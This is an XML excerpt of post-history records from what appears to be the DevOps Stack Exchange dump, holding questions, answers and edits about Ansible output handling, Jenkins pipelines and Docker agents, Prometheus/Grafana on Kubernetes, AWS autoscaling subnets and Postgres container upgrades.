  <row Id="30492" PostHistoryTypeId="2" PostId="10116" RevisionGUID="48f3a652-19d5-4452-93e6-a830cd23e6b3" CreationDate="2019-12-15T07:36:44.330" UserId="14770" Text="I have this in my playbook which execute a command on remote server and enters its log on local server.&#xD;&#xA;&#xD;&#xA;     - name: run script&#xD;&#xA;       shell: runuser -l testuser -c &quot;/tmp/test.sh&quot;&#xD;&#xA;       register: myshell_output&#xD;&#xA;     - name: copy output to a local file&#xD;&#xA;       lineinfile:&#xD;&#xA;         dest: /thesaurus/output&#xD;&#xA;         line: &quot;{{ item }}&quot;&#xD;&#xA;         insertafter: EOF&#xD;&#xA;       with_items:&#xD;&#xA;        - &quot;#####################Beginning##########################&quot;&#xD;&#xA;        - &quot;{{ myshell_output.stdout }}&quot;&#xD;&#xA;        - &quot;########################END#############################&quot;&#xD;&#xA;       delegate_to: localhost&#xD;&#xA;&#xD;&#xA;the output is always shown on screen and troubleshooting gets hard and distracting.  &#xD;&#xA;&#xD;&#xA;    TASK [run script] ************&#xD;&#xA;    changed: [1.1.1.1]&#xD;&#xA;    changed: [2.2.2.2]&#xD;&#xA;    TASK [copy output to a local file] ***********&#xD;&#xA;    changed: [1.1.1.1 -&gt; localhost] =&gt; &#xD;&#xA;    (item=#####################Beginning##########################)&#xD;&#xA;     ok: [2.2.2.2 -&gt; localhost] =&gt; &#xD;&#xA;    (item=#####################Beginning##########################)&#xD;&#xA;    {&#xD;&#xA;      REALLY LONG AND BIG OUTPUT!&#xD;&#xA;    }&#xD;&#xA;    changed: [1.1.1.1 -&gt; localhost] =&gt; &#xD;&#xA;    (item=########################END#############################)&#xD;&#xA;    ok: [2.2.2.2 -&gt; localhost] =&gt; &#xD;&#xA;    (item=########################END#############################)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;is it possible to prevent Ansible from printing these output on scrren and just insert output to a file?&#xD;&#xA;  &#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30493" PostHistoryTypeId="1" PostId="10116" RevisionGUID="48f3a652-19d5-4452-93e6-a830cd23e6b3" CreationDate="2019-12-15T07:36:44.330" UserId="14770" Text="how to prevent Ansible from showing output on screen?" ContentLicense="CC BY-SA 4.0" />
  <row Id="30494" PostHistoryTypeId="3" PostId="10116" RevisionGUID="48f3a652-19d5-4452-93e6-a830cd23e6b3" CreationDate="2019-12-15T07:36:44.330" UserId="14770" Text="&lt;ansible&gt;&lt;linux&gt;&lt;yaml&gt;&lt;centos&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30495" PostHistoryTypeId="5" PostId="10116" RevisionGUID="502c510d-7a85-4002-ad4d-3ad219dfc296" CreationDate="2019-12-15T07:51:24.377" UserId="14770" Comment="edited body" Text="I have this in my playbook which execute a command on remote server and enters its log on local server.&#xD;&#xA;&#xD;&#xA;     - name: run script&#xD;&#xA;       shell: runuser -l testuser -c &quot;/tmp/test.sh&quot;&#xD;&#xA;       register: myshell_output&#xD;&#xA;     - name: copy output to a local file&#xD;&#xA;       lineinfile:&#xD;&#xA;         dest: /thesaurus/output&#xD;&#xA;         line: &quot;{{ item }}&quot;&#xD;&#xA;         insertafter: EOF&#xD;&#xA;       with_items:&#xD;&#xA;        - &quot;#####################Beginning##########################&quot;&#xD;&#xA;        - &quot;{{ myshell_output.stdout }}&quot;&#xD;&#xA;        - &quot;########################END#############################&quot;&#xD;&#xA;       delegate_to: localhost&#xD;&#xA;&#xD;&#xA;the output is always shown on screen and troubleshooting gets hard and distracting.  &#xD;&#xA;&#xD;&#xA;    TASK [run script] ************&#xD;&#xA;    changed: [1.1.1.1]&#xD;&#xA;    changed: [2.2.2.2]&#xD;&#xA;    TASK [copy output to a local file] ***********&#xD;&#xA;    changed: [1.1.1.1 -&gt; localhost] =&gt; &#xD;&#xA;    (item=#####################Beginning##########################)&#xD;&#xA;     ok: [2.2.2.2 -&gt; localhost] =&gt; &#xD;&#xA;    (item=#####################Beginning##########################)&#xD;&#xA;    {&#xD;&#xA;      REALLY LONG AND BIG OUTPUT!&#xD;&#xA;    }&#xD;&#xA;    changed: [1.1.1.1 -&gt; localhost] =&gt; &#xD;&#xA;    (item=########################END#############################)&#xD;&#xA;    ok: [2.2.2.2 -&gt; localhost] =&gt; &#xD;&#xA;    (item=########################END#############################)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;is it possible to prevent Ansible from printing these output on screen and just insert output to a file?&#xD;&#xA;  &#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30496" PostHistoryTypeId="2" PostId="10117" RevisionGUID="6ad89f94-9451-4b4f-80f2-c75889500d29" CreationDate="2019-12-15T08:47:30.477" UserId="8251" Text="There is a range of common scenarios when you want to use private subnets to be used in an auto scaling group:&#xD;&#xA;&#xD;&#xA;- Your traffic is terminated by Elastic Load Balancers and your web server instances are behind the load balancer. This reduces the attack surface of the web servers&#xD;&#xA;&#xD;&#xA;- Your auto scaled resources are actually not responding to outside traffic, for example if they are worker resources processing messages from an SQS queue.&#xD;&#xA;&#xD;&#xA;There was a similar mention of both &quot;public and private subnets&quot; all over my LinuxAcademy exam preparation, depending on your thinking processes it may be straightforward to just say: &quot;autoscaling can use subnets&quot;, but then this may confuse other people." ContentLicense="CC BY-SA 4.0" />
  <row Id="30497" PostHistoryTypeId="2" PostId="10118" RevisionGUID="633dee1a-4c35-470c-a7d9-32d11ccd21c8" CreationDate="2019-12-15T12:51:49.347" UserId="354" Text="This can be done by judicious use of one of the [Ansible callback plugins](https://docs.ansible.com/ansible/latest/plugins/callback.html). Set the relevant configuration in your `ansible.cfg` file.&#xD;&#xA;&#xD;&#xA;You have a few options... &#xD;&#xA;&#xD;&#xA;In order to print _nothing_ to the screen, you can use the [null callback](https://docs.ansible.com/ansible/latest/plugins/callback/null.html):&#xD;&#xA;&#xD;&#xA;&gt; This callback prevents outputing events to screen&#xD;&#xA;&#xD;&#xA;However, this may be overkill and doesn't do what you want, which is to write the output to a file. This can be done with either of the &#xD;&#xA;&#xD;&#xA;- [tree](https://docs.ansible.com/ansible/latest/plugins/callback/tree.html) or&#xD;&#xA;- [log_plays](https://docs.ansible.com/ansible/latest/plugins/callback/log_plays.html)&#xD;&#xA;&#xD;&#xA;modules.&#xD;&#xA;&#xD;&#xA;I would probably suggest the log_plays module in your case.&#xD;&#xA;&#xD;&#xA;Note: This is going straight from the documentation. I haven't used the tree or log_plays plugin myself, opting either for the yaml or profile_tasks one, to make things more readable. It also seems like you want to filter _just a part_ of the output, not all of it. You may want to use a combination of filters in order to get the desired effect." ContentLicense="CC BY-SA 4.0" />
  <row Id="30498" PostHistoryTypeId="2" PostId="10119" RevisionGUID="966d7b08-bd16-4d21-baa8-e4ca434ae6c5" CreationDate="2019-12-15T19:07:54.457" UserId="17329" Text="I have multiple K8S clusters that have Prometheus-operator Helm chart installed in monitoring namespace. Each operator consists of Prometheus/Alertmanager/Grafana.&#xD;&#xA;Aside from it I have Istio Helm chart installed in istio-namespace. I want to integrate the Prometheus/Grafana from Istio into my Prometheus-Operator setup and remove them from istio-namespace and the helm release for Istio.&#xD;&#xA;Based on this PR - https://github.com/istio/installer/pull/71&#xD;&#xA;it looks like it's possible, but I can't find exact guidance on how to do it, the end result should be prom-operator prometheus scrapping exactly what it was + what was being scrapped by Istio's Prometheus and then when using the Grafana from prom-operator I should have all mixins + istio dashboards." ContentLicense="CC BY-SA 4.0" />
  <row Id="30499" PostHistoryTypeId="1" PostId="10119" RevisionGUID="966d7b08-bd16-4d21-baa8-e4ca434ae6c5" CreationDate="2019-12-15T19:07:54.457" UserId="17329" Text="Replace/Consume Istio's Prometheus/Grafana by existing Prometheus-operator" ContentLicense="CC BY-SA 4.0" />
  <row Id="30500" PostHistoryTypeId="3" PostId="10119" RevisionGUID="966d7b08-bd16-4d21-baa8-e4ca434ae6c5" CreationDate="2019-12-15T19:07:54.457" UserId="17329" Text="&lt;kubernetes&gt;&lt;prometheus&gt;&lt;istio&gt;&lt;grafana&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30509" PostHistoryTypeId="5" PostId="10117" RevisionGUID="a3e297d6-801b-4653-b3e3-b267d68ffab7" CreationDate="2019-12-16T07:23:59.073" UserId="8251" Comment="added 339 characters in body" Text="There is a range of common scenarios when you want to use private subnets to be used in an auto scaling group:&#xD;&#xA;&#xD;&#xA;- Your traffic &lt;s&gt;is terminated by&lt;/s&gt; reaches your infrastructure on a  Elastic Load Balancers and your web server instances are behind the load balancer. This reduces the attack surface of the web servers.&#xD;&#xA;&#xD;&#xA;( I think I started to use &quot;terminate&quot; since seeing it being used for SSL/TLS termination, ie the server(s) that hold the secure certificates. But because you could also use a Network Load Balancer at the &quot;edge&quot; of your infrastructure, I see now its not appropriate to use in this context)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;- Your auto scaled resources are actually not responding to outside traffic, for example if they are worker resources processing messages from an SQS queue.&#xD;&#xA;&#xD;&#xA;There was a similar mention of both &quot;public and private subnets&quot; all over my LinuxAcademy exam preparation, depending on your thinking processes it may be straightforward to just say: &quot;autoscaling can use subnets&quot;, but then this may confuse other people." ContentLicense="CC BY-SA 4.0" />
  <row Id="30511" PostHistoryTypeId="2" PostId="10123" RevisionGUID="05e15983-3778-4d4f-a601-2bd01b8ba566" CreationDate="2019-12-16T07:56:49.673" UserId="18678" Text="You can use -e switch for that purpose:&#xD;&#xA;&#xD;&#xA;ansible-playbook -e 'foo=${FOO}'&#xD;&#xA;&#xD;&#xA;where the FOO can be defined in the jenkins variables or within the parameters block in Your Jenkinsfile (then You need to use ${params.foo}). Then, the value can be accessed by the ansible with {{ foo }}.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30512" PostHistoryTypeId="5" PostId="10123" RevisionGUID="d08d390a-08ff-4f8a-b4c6-42cf9742d38a" CreationDate="2019-12-16T08:11:02.677" UserId="354" Comment="Fixed formatting." Text="You can use -e switch for that purpose:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;ansible-playbook -e 'foo=${FOO}'&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;where the FOO can be defined in the Jenkins envirionment variables. If it is defined within the parameters block of your Jenkinsfile, then you need to use `${params.foo}`. Then, the value can be accessed by the Ansible playbook with `{{ foo }}`.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30513" PostHistoryTypeId="6" PostId="10111" RevisionGUID="94e6d8d2-3c70-44c7-ac8a-bb1c6b3c1907" CreationDate="2019-12-16T08:11:21.370" UserId="354" Comment="edited tags" Text="&lt;jenkins&gt;&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30515" PostHistoryTypeId="2" PostId="10124" RevisionGUID="8dc1b58d-b0d0-4f05-8013-3e42866d64c6" CreationDate="2019-12-16T12:28:33.823" UserId="18007" Text="I have Jenkins container with a pipeline which uses the plugins:&#xD;&#xA;Job DSL version 1.7.0&#xD;&#xA;Repository Connector version 1.1.3&#xD;&#xA;P4 version 1.8.14&#xD;&#xA;&#xD;&#xA;it fails with the error:&#xD;&#xA;&#xD;&#xA;    11:23:17 ERROR: (int_dbp_ci.groovy, line 7) No such property: IntDBCIProperties for class: int_dbp_ci&#xD;&#xA;&#xD;&#xA;what's strange, in the same machine, in other Jenkins container, for the same job with the same exact syntax and plugins version, it works. any idea what might cause the issue?" ContentLicense="CC BY-SA 4.0" />
  <row Id="30516" PostHistoryTypeId="1" PostId="10124" RevisionGUID="8dc1b58d-b0d0-4f05-8013-3e42866d64c6" CreationDate="2019-12-16T12:28:33.823" UserId="18007" Text="Jenkins pipeline fails with No such property error" ContentLicense="CC BY-SA 4.0" />
  <row Id="30517" PostHistoryTypeId="3" PostId="10124" RevisionGUID="8dc1b58d-b0d0-4f05-8013-3e42866d64c6" CreationDate="2019-12-16T12:28:33.823" UserId="18007" Text="&lt;jenkins-pipeline&gt;&lt;jenkins-plugins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30522" PostHistoryTypeId="2" PostId="10125" RevisionGUID="6cf1666d-1d9a-4115-b8e9-8f8951570678" CreationDate="2019-12-16T14:24:36.290" UserId="18681" Text="I have a working Dockerfile that creates a build environment for a legacy app, and now I'd like to use that environment from Jenkins, ideally allowing for incremental builds.&#xD;&#xA;&#xD;&#xA;The environment is too old to run a recent version of Java, which means it cannot be used as an agent directly.&#xD;&#xA;&#xD;&#xA;Is there a way to run a series of build steps inside a container without the container itself running an agent?" ContentLicense="CC BY-SA 4.0" />
  <row Id="30523" PostHistoryTypeId="1" PostId="10125" RevisionGUID="6cf1666d-1d9a-4115-b8e9-8f8951570678" CreationDate="2019-12-16T14:24:36.290" UserId="18681" Text="Legacy build environment in Docker container, incompatible with Jenkins agent" ContentLicense="CC BY-SA 4.0" />
  <row Id="30524" PostHistoryTypeId="3" PostId="10125" RevisionGUID="6cf1666d-1d9a-4115-b8e9-8f8951570678" CreationDate="2019-12-16T14:24:36.290" UserId="18681" Text="&lt;docker&gt;&lt;jenkins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30529" PostHistoryTypeId="10" PostId="6880" RevisionGUID="c7e23226-1d50-4382-ac70-4798844e8d3c" CreationDate="2019-12-16T15:02:58.233" UserId="210" Comment="104" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="30531" PostHistoryTypeId="10" PostId="9887" RevisionGUID="ed8f5a90-2da2-4167-b3a7-48913d375509" CreationDate="2019-12-16T15:06:24.757" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="30537" PostHistoryTypeId="5" PostId="10124" RevisionGUID="66370808-3017-4d7f-944c-d68123e4ff3d" CreationDate="2019-12-16T15:35:13.523" UserId="18007" Comment="added 18 characters in body" Text="I have Jenkins container (version 2.138.1) with a pipeline which uses the plugins:&#xD;&#xA;&#xD;&#xA;Job DSL version 1.7.0&#xD;&#xA;&#xD;&#xA;Repository Connector version 1.1.3&#xD;&#xA;&#xD;&#xA;P4 version 1.8.14&#xD;&#xA;&#xD;&#xA;it fails with the below error:&#xD;&#xA;&#xD;&#xA;    11:23:17 ERROR: (int_dbp_ci.groovy, line 7) No such property: IntDBCIProperties for class: int_dbp_ci&#xD;&#xA;&#xD;&#xA;what's strange, in the same machine, in other Jenkins container, for the same job with the same exact syntax and plugins version, it works. any idea what might cause the issue?" ContentLicense="CC BY-SA 4.0" />
  <row Id="30541" PostHistoryTypeId="12" PostId="10124" RevisionGUID="dfa1a747-3e20-4758-b756-b1d100812327" CreationDate="2019-12-16T16:43:06.400" UserId="18007" Comment="via Vote" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:18007,&quot;DisplayName&quot;:&quot;arielma&quot;}]}" />
  <row Id="30542" PostHistoryTypeId="50" PostId="9795" RevisionGUID="42879bce-25ce-491c-9318-b1772dad18ff" CreationDate="2019-12-16T17:00:47.160" UserId="-1" />
  <row Id="30543" PostHistoryTypeId="11" PostId="6880" RevisionGUID="4a40fcad-64c9-45e5-a739-4de4a5f1c4a6" CreationDate="2019-12-16T17:48:43.127" UserId="40" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;}]}" />
  <row Id="30544" PostHistoryTypeId="2" PostId="10129" RevisionGUID="e403295a-140c-4db1-974e-66687f2e3787" CreationDate="2019-12-16T18:40:08.193" UserId="18687" Text="At a command prompt run `ipconfig /all` and look for a `DNS Servers` line in the output with something that looks like an IP address. That's your host machine's DNS server(s).&#xD;&#xA;&#xD;&#xA;Edit `C:\ProgramData\Docker\config\daemon.json` and add a `dns` entry with that IP address. For example, if your DNS Server is 192.10.0.2 and 8.8.8.8 is Google's DNS as a backup:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;{&#xD;&#xA;    &quot;dns&quot;: [&quot;192.10.0.2&quot;, &quot;8.8.8.8&quot;]&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Now restart Docker Desktop and the remote URLs can be resolved by Docker, either at build or runtime.&#xD;&#xA;&#xD;&#xA;This solution came from Faithful Anere at https://medium.com/@faithfulanere/solved-docker-build-could-not-resolve-archive-ubuntu-com-apt-get-fails-to-install-anything-9ea4dfdcdcf2" ContentLicense="CC BY-SA 4.0" />
  <row Id="30545" PostHistoryTypeId="5" PostId="6404" RevisionGUID="972d9fe7-8c37-4457-ba07-bab28623ab62" CreationDate="2019-12-16T20:09:22.903" UserId="18683" Comment="Fix formatting to make the examples actually readable" Text="i need to check more than 100 servers for the snapd package, but I don't like the output at all. I searched all day for different options without luck. Attached is the output of ansible-playbook. Any hints guys?  [![enter image description here][1]][1] &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;---&#xD;&#xA; - hosts: centos&#xD;&#xA;   become: true&#xD;&#xA;   tasks:&#xD;&#xA;    - name: Check Hostname&#xD;&#xA;      command: /usr/bin/hostname&#xD;&#xA;&#xD;&#xA;    - name: Check for package if is installed&#xD;&#xA;      yum:&#xD;&#xA;        list: snapd&#xD;&#xA;      register: result&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;For checking the package version I tried with the following playbook but Ansible doesn't like the syntax:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;---&#xD;&#xA; - hosts: test2&#xD;&#xA;   become: true&#xD;&#xA;   tasks:&#xD;&#xA;    - name: Check Hostname&#xD;&#xA;      command: /usr/bin/hostname&#xD;&#xA;&#xD;&#xA;    - name: Check for package if is installed&#xD;&#xA;      yum:&#xD;&#xA;        list: snapd&#xD;&#xA;      register: package_name_version&#xD;&#xA;&#xD;&#xA;    - name: set package version&#xD;&#xA;      set_fact:&#xD;&#xA;        package_name_version: &quot;{{ package_name_version.results|selectattr('yumstate','equalto','installed')|map(attribute='version')|list|first }}&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;Juls&#xD;&#xA;  [1]: https://i.stack.imgur.com/eV6WZ.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="30546" PostHistoryTypeId="24" PostId="6404" RevisionGUID="972d9fe7-8c37-4457-ba07-bab28623ab62" CreationDate="2019-12-16T20:09:22.903" Comment="Proposed by 18683 approved by 354, 40 edit id of 1129" ContentLicense="CC BY-SA 4.0" />
  <row Id="30547" PostHistoryTypeId="2" PostId="10130" RevisionGUID="8a44c6b7-4242-469c-8c95-2a63fb5a1c6b" CreationDate="2019-12-17T07:21:19.543" UserId="10550" Text="*Scenario*&#xD;&#xA;&#xD;&#xA;I deploy grafana and prometheus onto EKS cluster (AWS K8s service).&#xD;&#xA;&#xD;&#xA;If I use prometheus service's fqdn (prometheus-server.monitoring.svc.cluster.local) as the data source, grafana sometimes fail to load the data like the image below. If I refresh the page several times and if I'm lucky, I'll get all the panels to display correctly.&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;logging out the grafana pod gives&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;http: proxy error: dial tcp: lookup prometheus-server.monitoring.svc.cluster.local: no such host&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;If I use prometheus service's cluster IP address instead of the fqdn, everything works just fine.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/BZBOE.png&#xD;&#xA;&#xD;&#xA;*Question*&#xD;&#xA;&#xD;&#xA;What's wrong with using prometheus service's fqdn?" ContentLicense="CC BY-SA 4.0" />
  <row Id="30548" PostHistoryTypeId="1" PostId="10130" RevisionGUID="8a44c6b7-4242-469c-8c95-2a63fb5a1c6b" CreationDate="2019-12-17T07:21:19.543" UserId="10550" Text="Grafana sometimes can't resolve prometheus hostname" ContentLicense="CC BY-SA 4.0" />
  <row Id="30549" PostHistoryTypeId="3" PostId="10130" RevisionGUID="8a44c6b7-4242-469c-8c95-2a63fb5a1c6b" CreationDate="2019-12-17T07:21:19.543" UserId="10550" Text="&lt;kubernetes&gt;&lt;prometheus&gt;&lt;grafana&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30550" PostHistoryTypeId="2" PostId="10131" RevisionGUID="cdb9b97d-fcda-46cb-8e9b-f7804f256ba0" CreationDate="2019-12-17T08:30:48.867" UserId="6060" Text="Migrating data directory between major db version can be problematic.&#xD;&#xA;&#xD;&#xA;I can suggest to create and restore db dump.&#xD;&#xA;You can upgrade postgresql db container as follow:&#xD;&#xA;&#xD;&#xA; 1. Backup database  &#xD;&#xA; 2. Shutdown postgres 11 container &#xD;&#xA; 3. Run new postgres 12 container &#xD;&#xA; 4. Restore backup&#xD;&#xA;&#xD;&#xA;or single line command:&#xD;&#xA;&#xD;&#xA;    docker exec postgres-11-container pg_dumpall -U postgres | docker exec -i postgres-12-container psql -U postgres&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30556" PostHistoryTypeId="13" PostId="10124" RevisionGUID="00a9fe2c-d566-47b4-b840-070709238795" CreationDate="2019-12-17T09:31:05.767" UserId="18007" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:18007,&quot;DisplayName&quot;:&quot;arielma&quot;}]}" />
  <row Id="30571" PostHistoryTypeId="10" PostId="1931" RevisionGUID="9869959f-35dd-4e23-9fe0-d45912429009" CreationDate="2019-12-17T11:22:28.043" UserId="210" Comment="104" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="30576" PostHistoryTypeId="2" PostId="10134" RevisionGUID="3fadb4bc-e3ab-4d89-8935-c962ec44fba5" CreationDate="2019-12-17T11:44:17.343" UserId="18007" Text="Problem:&#xD;&#xA;The execution user/group had permissions to run  “Execute Analysis”&#xD;&#xA;Solution:&#xD;&#xA;Update the default template with permissions and push to projects (Bulk Apply Template)" ContentLicense="CC BY-SA 4.0" />
  <row Id="30577" PostHistoryTypeId="2" PostId="10135" RevisionGUID="7fc0d1e9-c7f9-48a9-bdfb-756ac6ef5d40" CreationDate="2019-12-17T13:04:39.383" UserId="18681" Text="I'm using the official `jenkins:lts` image to host a Jenkins instance, with the Docker control socket forwarded inside the container to allow Jenkins to start new containers, and now I'm trying to run a pipeline that starts with&#xD;&#xA;&#xD;&#xA;    pipeline {&#xD;&#xA;        agent {&#xD;&#xA;            docker {&#xD;&#xA;                image 'toolchain:2011'&#xD;&#xA;                args '-v ${WORKSPACE}:${WORKSPACE} -w ${WORKSPACE}'&#xD;&#xA;    …&#xD;&#xA;&#xD;&#xA;Running this job tries to execute the `docker` command inside the Jenkins container, which doesn't work because the package isn't installed. The regular Docker plugin works fine, as it uses the control socket directly instead of trying to run external programs.&#xD;&#xA;&#xD;&#xA;I suspect I'm not the first person to do this -- how would I set up a Jenkins instance inside a container that can execute a pipeline with a &quot;docker&quot; agent?" ContentLicense="CC BY-SA 4.0" />
  <row Id="30578" PostHistoryTypeId="1" PostId="10135" RevisionGUID="7fc0d1e9-c7f9-48a9-bdfb-756ac6ef5d40" CreationDate="2019-12-17T13:04:39.383" UserId="18681" Text="Jenkins Pipeline Docker Agents with official Jenkins Docker image" ContentLicense="CC BY-SA 4.0" />
  <row Id="30579" PostHistoryTypeId="3" PostId="10135" RevisionGUID="7fc0d1e9-c7f9-48a9-bdfb-756ac6ef5d40" CreationDate="2019-12-17T13:04:39.383" UserId="18681" Text="&lt;docker&gt;&lt;jenkins&gt;&lt;jenkins-plugins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30580" PostHistoryTypeId="2" PostId="10136" RevisionGUID="edf5b88f-013f-426a-9f18-46999bf54a46" CreationDate="2019-12-17T13:25:53.780" UserId="18678" Text="I used something like that in the simple flask app image:&#xD;&#xA;&#xD;&#xA;    stage('Deploy') {&#xD;&#xA;			steps {&#xD;&#xA;				sh 'docker build -t flask-sample:latest .'&#xD;&#xA;				sh 'docker run -d --rm --name hello_app_flask -p 4010:4000 flask-sample:latest'&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;But I don't know wether it is approppriate option. Maybe, someone knows the 'proper' way to do it." ContentLicense="CC BY-SA 4.0" />
  <row Id="30581" PostHistoryTypeId="2" PostId="10137" RevisionGUID="ea02d15a-b7fc-4ed3-94de-ac553bdfb8c2" CreationDate="2019-12-17T13:40:27.293" UserId="16683" Text="You have to extend the `jenkins/jenkins:lts` to install the Docker client:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;FROM jenkins/jenkins:lts&#xD;&#xA;&#xD;&#xA;# Switch to root&#xD;&#xA;USER root&#xD;&#xA;&#xD;&#xA;ENV DOCKER_VERSION      docker-18.06.3-ce&#xD;&#xA;ARG DOCKER_GID=993 # put the correct docker gid&#xD;&#xA;&#xD;&#xA;# Download and install docker client&#xD;&#xA;RUN wget --quiet -O- \&#xD;&#xA;  https://download.docker.com/linux/static/stable/x86_64/${DOCKER_VERSION}.tgz | \&#xD;&#xA;  tar zx --strip-components=1 -C /usr/local/bin docker/docker \&#xD;&#xA;  &amp;&amp; groupadd -g ${DOCKER_GID} docker \&#xD;&#xA;  &amp;&amp; usermod -aG docker jenkins&#xD;&#xA;&#xD;&#xA;# Switch back to jenkins user&#xD;&#xA;USER jenkins&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;You can now declare pipelines with docker agents." ContentLicense="CC BY-SA 4.0" />
  <row Id="30586" PostHistoryTypeId="2" PostId="10140" RevisionGUID="c615478b-8848-4f27-a351-44454d5fadc2" CreationDate="2019-12-17T17:03:19.520" UserId="18007" Text="I have the below shell script:&#xD;&#xA;&#xD;&#xA;    du -sh /bbhome/shared/data/repositories/* |sort -h |tail -20 |&#xD;&#xA;    while IFS= read -r line;do&#xD;&#xA;            DIR=`echo $line | awk '{print$2}'`&#xD;&#xA;            Rep=`cat $DIR/repository-config |grep 'project\|repo' |  tr '\n' ' '`&#xD;&#xA;            Size=`echo $line | awk '{print $1}' `&#xD;&#xA;            echo $Size $Rep&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;How can I run it thought Execute shell in Jenkins? &#xD;&#xA;[![Execute shell][1]][1]&#xD;&#xA;&#xD;&#xA;I need also to add ssh command to the env (no need for a password). Note I don't want to connect to the env and run this shell, but directly from Excecue shell box&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/OcGHZ.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="30587" PostHistoryTypeId="1" PostId="10140" RevisionGUID="c615478b-8848-4f27-a351-44454d5fadc2" CreationDate="2019-12-17T17:03:19.520" UserId="18007" Text="How to add shell script to jenkins pipeline" ContentLicense="CC BY-SA 4.0" />
  <row Id="30588" PostHistoryTypeId="3" PostId="10140" RevisionGUID="c615478b-8848-4f27-a351-44454d5fadc2" CreationDate="2019-12-17T17:03:19.520" UserId="18007" Text="&lt;jenkins-pipeline&gt;&lt;shell-script&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30589" PostHistoryTypeId="5" PostId="10140" RevisionGUID="90858fdd-277b-4674-b8ba-f8ad8f4793e2" CreationDate="2019-12-17T17:48:57.217" UserId="354" Comment="Changed the wording to hopefully improve the grammar" Text="I have the below shell script:&#xD;&#xA;&#xD;&#xA;    du -sh /bbhome/shared/data/repositories/* |sort -h |tail -20 |&#xD;&#xA;    while IFS= read -r line;do&#xD;&#xA;            DIR=`echo $line | awk '{print$2}'`&#xD;&#xA;            Rep=`cat $DIR/repository-config |grep 'project\|repo' |  tr '\n' ' '`&#xD;&#xA;            Size=`echo $line | awk '{print $1}' `&#xD;&#xA;            echo $Size $Rep&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;How can I run it thought Execute shell in Jenkins? &#xD;&#xA;[![Execute shell][1]][1]&#xD;&#xA;&#xD;&#xA;I need also to add an ssh command to the environment. This should be executed using passwordless authentication.&#xD;&#xA;&#xD;&#xA;Note: I don't want to connect to the environmnet and run this shell, but want to execute it directly from the box.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/OcGHZ.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="30590" PostHistoryTypeId="5" PostId="10140" RevisionGUID="98ae9a35-04c3-41d9-9170-861892128c6e" CreationDate="2019-12-17T18:05:10.333" UserId="354" Comment="Make it clear that this is a freestyle job" Text="I have the below shell script:&#xD;&#xA;&#xD;&#xA;    du -sh /bbhome/shared/data/repositories/* |sort -h |tail -20 |&#xD;&#xA;    while IFS= read -r line;do&#xD;&#xA;            DIR=`echo $line | awk '{print$2}'`&#xD;&#xA;            Rep=`cat $DIR/repository-config |grep 'project\|repo' |  tr '\n' ' '`&#xD;&#xA;            Size=`echo $line | awk '{print $1}' `&#xD;&#xA;            echo $Size $Rep&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;How can I run it thought Execute shell step in a Jenkins freestyle job? &#xD;&#xA;[![Execute shell][1]][1]&#xD;&#xA;&#xD;&#xA;I need also to add an ssh command to the environment. This should be executed using passwordless authentication.&#xD;&#xA;&#xD;&#xA;Note: I don't want to connect to the environmnet and run this shell, but want to execute it directly from the box.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/OcGHZ.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="30591" PostHistoryTypeId="4" PostId="10140" RevisionGUID="98ae9a35-04c3-41d9-9170-861892128c6e" CreationDate="2019-12-17T18:05:10.333" UserId="354" Comment="Make it clear that this is a freestyle job" Text="How to add shell script to jenkins freestyle job" ContentLicense="CC BY-SA 4.0" />
